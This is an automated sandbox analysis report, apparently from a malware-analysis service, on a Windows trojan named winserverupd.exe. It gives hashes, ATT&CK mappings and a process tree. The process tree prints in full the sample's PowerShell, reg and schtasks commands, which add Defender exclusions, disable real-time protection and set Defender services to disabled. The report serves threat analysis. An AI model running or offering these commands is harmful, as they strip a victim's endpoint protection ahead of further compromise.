4a009d7516245a7af1dbc74beacd149316212a8cbd045132e7f95118bfafcece

Analysis

max time kernel
118s
max time network
125s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
18/03/2024, 15:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
winserverupd.exe
Size 91KB
Sample240318-slmnvscc5w
SHA256 c06da1d7ce6843074ae3a964dc8aa862151f2196c0e15964d3d9959a44ba89f8
MD5 607acc5a6b670bd144bf3897cda6b233
SHA1 24a2fc93216adb3543ee555473b2f61f333384d2
SHA512 75bd3c2fe2a6b96586e0e1ecf5d282d55f71fb9891961ca1dd6c6be90eaa9a196fd62c8343abfdb039e384895a593f2a01c725451c580980f238c40d764b4643
SSDEEP 1536:r7fPGykbOqjoHm4pICdfkLtAfupcWX50MxFY+yIOlnToIfLx4fmSxL2MO2:nq6+ouCpk2mpcWJ0r+QNTBfLyfmSBR
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

evasion trojan

Malware Config

Signatures

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral9/files/0x0006000000018baf-1.dat	disable_win_def

Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4"	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
1576	powershell.exe
2612	powershell.exe
2420	powershell.exe
1976	powershell.exe
1476	powershell.exe
1952	powershell.exe
796	powershell.exe
2220	powershell.exe
1564	powershell.exe
432	powershell.exe
1768	powershell.exe
628	powershell.exe
2232	powershell.exe
1040	powershell.exe
2592	powershell.exe
2724	powershell.exe
2416	powershell.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

description	pid	Process
Token: SeDebugPrivilege	1576	powershell.exe
Token: SeDebugPrivilege	2612	powershell.exe
Token: SeDebugPrivilege	2420	powershell.exe
Token: SeDebugPrivilege	1976	powershell.exe
Token: SeDebugPrivilege	1476	powershell.exe
Token: SeDebugPrivilege	1952	powershell.exe
Token: SeDebugPrivilege	796	powershell.exe
Token: SeDebugPrivilege	2220	powershell.exe
Token: SeDebugPrivilege	1564	powershell.exe
Token: SeDebugPrivilege	432	powershell.exe
Token: SeDebugPrivilege	1768	powershell.exe
Token: SeDebugPrivilege	628	powershell.exe
Token: SeDebugPrivilege	2232	powershell.exe
Token: SeDebugPrivilege	1040	powershell.exe
Token: SeDebugPrivilege	2592	powershell.exe
Token: SeDebugPrivilege	2724	powershell.exe
Token: SeDebugPrivilege	2416	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2316 wrote to memory of 1712	2316	winserverupd.exe	28
PID 2316 wrote to memory of 1712	2316	winserverupd.exe	28
PID 2316 wrote to memory of 1712	2316	winserverupd.exe	28
PID 2316 wrote to memory of 1712	2316	winserverupd.exe	28
PID 1712 wrote to memory of 1576	1712	cmd.exe	30
PID 1712 wrote to memory of 1576	1712	cmd.exe	30
PID 1712 wrote to memory of 1576	1712	cmd.exe	30
PID 1712 wrote to memory of 2612	1712	cmd.exe	31
PID 1712 wrote to memory of 2612	1712	cmd.exe	31
PID 1712 wrote to memory of 2612	1712	cmd.exe	31
PID 1712 wrote to memory of 2420	1712	cmd.exe	32
PID 1712 wrote to memory of 2420	1712	cmd.exe	32
PID 1712 wrote to memory of 2420	1712	cmd.exe	32
PID 1712 wrote to memory of 1976	1712	cmd.exe	33
PID 1712 wrote to memory of 1976	1712	cmd.exe	33
PID 1712 wrote to memory of 1976	1712	cmd.exe	33
PID 1712 wrote to memory of 1476	1712	cmd.exe	34
PID 1712 wrote to memory of 1476	1712	cmd.exe	34
PID 1712 wrote to memory of 1476	1712	cmd.exe	34
PID 1712 wrote to memory of 2972	1712	cmd.exe	35
PID 1712 wrote to memory of 2972	1712	cmd.exe	35
PID 1712 wrote to memory of 2972	1712	cmd.exe	35
PID 1712 wrote to memory of 2028	1712	cmd.exe	36
PID 1712 wrote to memory of 2028	1712	cmd.exe	36
PID 1712 wrote to memory of 2028	1712	cmd.exe	36
PID 1712 wrote to memory of 744	1712	cmd.exe	37
PID 1712 wrote to memory of 744	1712	cmd.exe	37
PID 1712 wrote to memory of 744	1712	cmd.exe	37
PID 1712 wrote to memory of 1036	1712	cmd.exe	38
PID 1712 wrote to memory of 1036	1712	cmd.exe	38
PID 1712 wrote to memory of 1036	1712	cmd.exe	38
PID 1712 wrote to memory of 2464	1712	cmd.exe	39
PID 1712 wrote to memory of 2464	1712	cmd.exe	39
PID 1712 wrote to memory of 2464	1712	cmd.exe	39
PID 1712 wrote to memory of 2084	1712	cmd.exe	40
PID 1712 wrote to memory of 2084	1712	cmd.exe	40
PID 1712 wrote to memory of 2084	1712	cmd.exe	40
PID 1712 wrote to memory of 1792	1712	cmd.exe	41
PID 1712 wrote to memory of 1792	1712	cmd.exe	41
PID 1712 wrote to memory of 1792	1712	cmd.exe	41
PID 1712 wrote to memory of 1860	1712	cmd.exe	42
PID 1712 wrote to memory of 1860	1712	cmd.exe	42
PID 1712 wrote to memory of 1860	1712	cmd.exe	42
PID 1712 wrote to memory of 2136	1712	cmd.exe	43
PID 1712 wrote to memory of 2136	1712	cmd.exe	43
PID 1712 wrote to memory of 2136	1712	cmd.exe	43
PID 1712 wrote to memory of 2016	1712	cmd.exe	44
PID 1712 wrote to memory of 2016	1712	cmd.exe	44
PID 1712 wrote to memory of 2016	1712	cmd.exe	44
PID 1712 wrote to memory of 2032	1712	cmd.exe	45
PID 1712 wrote to memory of 2032	1712	cmd.exe	45
PID 1712 wrote to memory of 2032	1712	cmd.exe	45
PID 1712 wrote to memory of 2144	1712	cmd.exe	46
PID 1712 wrote to memory of 2144	1712	cmd.exe	46
PID 1712 wrote to memory of 2144	1712	cmd.exe	46
PID 1712 wrote to memory of 2556	1712	cmd.exe	47
PID 1712 wrote to memory of 2556	1712	cmd.exe	47
PID 1712 wrote to memory of 2556	1712	cmd.exe	47
PID 1712 wrote to memory of 1592	1712	cmd.exe	48
PID 1712 wrote to memory of 1592	1712	cmd.exe	48
PID 1712 wrote to memory of 1592	1712	cmd.exe	48
PID 1712 wrote to memory of 328	1712	cmd.exe	49
PID 1712 wrote to memory of 328	1712	cmd.exe	49
PID 1712 wrote to memory of 328	1712	cmd.exe	49

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\winserverupd.exe
"C:\Users\Admin\AppData\Local\Temp\winserverupd.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2316
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\7040.tmp\7041.tmp\7042.bat C:\Users\Admin\AppData\Local\Temp\winserverupd.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1712
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Users\Admin\Appdata\Local" -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1576
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Add-MpPreference -ExclusionPath "C:\ProgramData" -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2612
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Windows" -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2420
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Add-MpPreference -AttackSurfaceReductionOnlyExclusions "C:\Users\Admin\Appdata\Local" -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1976
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Add-MpPreference -ExclusionProcess "MsBuild.exe" -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1476
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
    3⤵
    PID:2972
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
    3⤵
    PID:2028
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "1" /f
    3⤵
    PID:744
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
    3⤵
    PID:1036
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2464
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2084
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1792
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
    3⤵
    PID:1860
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
    3⤵
    PID:2136
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
    3⤵
    PID:2016
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:2032
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:2144
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:2556
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:1592
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:328
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:1732
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:376
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:1336
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies security service
    PID:1032
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -PUAProtection disable" -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1952
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:796
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2220
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1564
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -ScanScheduleDay 8 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1768
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -DisableCatchupFullScan 1 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:628
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -DisableCatchupQuickScan 1 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2232
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -DisableScriptScanning 1 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1040
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -ScanAvgCPULoadFactor 5 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2592
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -ServiceHealthReportInterval 0 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2724
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -UnknownThreatDefaultAction 6 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2416
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
    3⤵
    PID:1996
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
    3⤵
    PID:2484
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
    3⤵
    PID:580
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
    3⤵
    PID:524
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
    3⤵
    PID:3056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

7042.bat

Path C:\Users\Admin\AppData\Local\Temp\7040.tmp\7041.tmp\7042.bat
Size 3KB
SHA256 582e18cb3c8b2c06080cbb7df73ef27128654a4f201476f457a787cae6b068a4
MD5 ad8b6610172ff7b78c52f9ca37f38087
SHA1 9e672aa0385998b41de0eaee280af9372f3b299c
SHA512 2dd57fab8f54736dfe975b7c5c83de1c864e1f3fe498045f566f58da059be311ca8194c6634df447fbcec9382e3b67c70cc9fbc6a29076accdbcc1c0de829658
MD5 SHA1 SHA512

Submit Download

8NQTVY677PCNC1JXRHJS.temp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8NQTVY677PCNC1JXRHJS.temp
Size 7KB
SHA256 79319be08d40ac59c0ba6d390651305493d85d58a2ac73d4d3c99d4d4ed90a35
MD5 745da8331e565fec19e43ad462d9d878
SHA1 45baaac56644f116efded5c3f9f7527b1955048b
SHA512 72f5eb8abad27a39a270a796d070d040b396dcc69f3f49cdbd434a0f3bd4c4616d60324240933dccdb2d762b2a16ffa057c21ece5b136ef61719e901d1f4cfca
SSDEEP 96:4RqCoOM8VnqvsqvJCwoSRqCoOM8VnqvsEHyqvJCwor0a1dhQHKG7VwXlUVF:wDxUoODxAHnor0ADG7Vw2
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/796-87-0x00000000023B0000-0x0000000002430000-memory.dmp

Download

memory/796-84-0x000007FEF5E40000-0x000007FEF67DD000-memory.dmp

Download

memory/796-89-0x00000000023B0000-0x0000000002430000-memory.dmp

Download

memory/796-90-0x000007FEF5E40000-0x000007FEF67DD000-memory.dmp

Download

memory/796-88-0x000007FEF5E40000-0x000007FEF67DD000-memory.dmp

Download

memory/796-85-0x00000000023B0000-0x0000000002430000-memory.dmp

Download

memory/796-86-0x00000000023B0000-0x0000000002430000-memory.dmp

Download

memory/1476-62-0x0000000002810000-0x0000000002890000-memory.dmp

Download

memory/1476-65-0x000007FEF5E40000-0x000007FEF67DD000-memory.dmp

Download

memory/1476-64-0x0000000002810000-0x0000000002890000-memory.dmp

Download

memory/1476-63-0x0000000002810000-0x0000000002890000-memory.dmp

Download

memory/1476-61-0x000007FEF5E40000-0x000007FEF67DD000-memory.dmp

Download

memory/1476-59-0x000007FEF5E40000-0x000007FEF67DD000-memory.dmp

Download

memory/1476-60-0x0000000002810000-0x0000000002890000-memory.dmp

Download

memory/1564-110-0x00000000027E0000-0x0000000002860000-memory.dmp

Download

memory/1564-111-0x00000000027E0000-0x0000000002860000-memory.dmp

Download

memory/1564-109-0x00000000027E0000-0x0000000002860000-memory.dmp

Download

memory/1564-108-0x000007FEF5E40000-0x000007FEF67DD000-memory.dmp

Download

memory/1576-8-0x00000000029A0000-0x0000000002A20000-memory.dmp

Download

memory/1576-9-0x0000000001E70000-0x0000000001E78000-memory.dmp

Download

memory/1576-10-0x000007FEF5E40000-0x000007FEF67DD000-memory.dmp

Download

memory/1576-11-0x00000000029A0000-0x0000000002A20000-memory.dmp

Download

memory/1576-12-0x00000000029A0000-0x0000000002A20000-memory.dmp

Download

memory/1576-13-0x00000000029A0000-0x0000000002A20000-memory.dmp

Download

memory/1576-7-0x000007FEF5E40000-0x000007FEF67DD000-memory.dmp

Download

memory/1576-6-0x000000001B260000-0x000000001B542000-memory.dmp

Download

memory/1576-14-0x000007FEF5E40000-0x000007FEF67DD000-memory.dmp

Download

memory/1952-78-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

Download

memory/1952-72-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

Download

memory/1952-73-0x0000000002950000-0x00000000029D0000-memory.dmp

Download

memory/1952-75-0x0000000002950000-0x00000000029D0000-memory.dmp

Download

memory/1952-76-0x0000000002950000-0x00000000029D0000-memory.dmp

Download

memory/1952-74-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

Download

memory/1952-77-0x0000000002950000-0x00000000029D0000-memory.dmp

Download

memory/1976-50-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

Download

memory/1976-53-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

Download

memory/1976-52-0x00000000028D0000-0x0000000002950000-memory.dmp

Download

memory/1976-51-0x00000000028D0000-0x0000000002950000-memory.dmp

Download

memory/1976-49-0x00000000028D0000-0x0000000002950000-memory.dmp

Download

memory/1976-48-0x00000000028D0000-0x0000000002950000-memory.dmp

Download

memory/1976-47-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

Download

memory/2220-102-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

Download

memory/2220-96-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

Download

memory/2220-101-0x0000000001F40000-0x0000000001FC0000-memory.dmp

Download

memory/2220-98-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

Download

memory/2220-100-0x0000000001F40000-0x0000000001FC0000-memory.dmp

Download

memory/2220-99-0x0000000001F40000-0x0000000001FC0000-memory.dmp

Download

memory/2220-97-0x0000000001F40000-0x0000000001FC0000-memory.dmp

Download

memory/2420-39-0x0000000002A20000-0x0000000002AA0000-memory.dmp

Download

memory/2420-38-0x000007FEF5E40000-0x000007FEF67DD000-memory.dmp

Download

memory/2420-40-0x000007FEF5E40000-0x000007FEF67DD000-memory.dmp

Download

memory/2420-35-0x0000000002A20000-0x0000000002AA0000-memory.dmp

Download

memory/2420-37-0x0000000002A20000-0x0000000002AA0000-memory.dmp

Download

memory/2420-36-0x0000000002A20000-0x0000000002AA0000-memory.dmp

Download

memory/2420-34-0x000007FEF5E40000-0x000007FEF67DD000-memory.dmp

Download

memory/2612-28-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

Download

memory/2612-24-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

Download

memory/2612-25-0x00000000029C0000-0x0000000002A40000-memory.dmp

Download

memory/2612-27-0x00000000029C0000-0x0000000002A40000-memory.dmp

Download

memory/2612-26-0x00000000029C0000-0x0000000002A40000-memory.dmp

Download

memory/2612-23-0x00000000029C0000-0x0000000002A40000-memory.dmp

Download

memory/2612-22-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

Download

memory/2612-21-0x0000000002510000-0x0000000002518000-memory.dmp

Download

memory/2612-20-0x000000001B280000-0x000000001B562000-memory.dmp

Download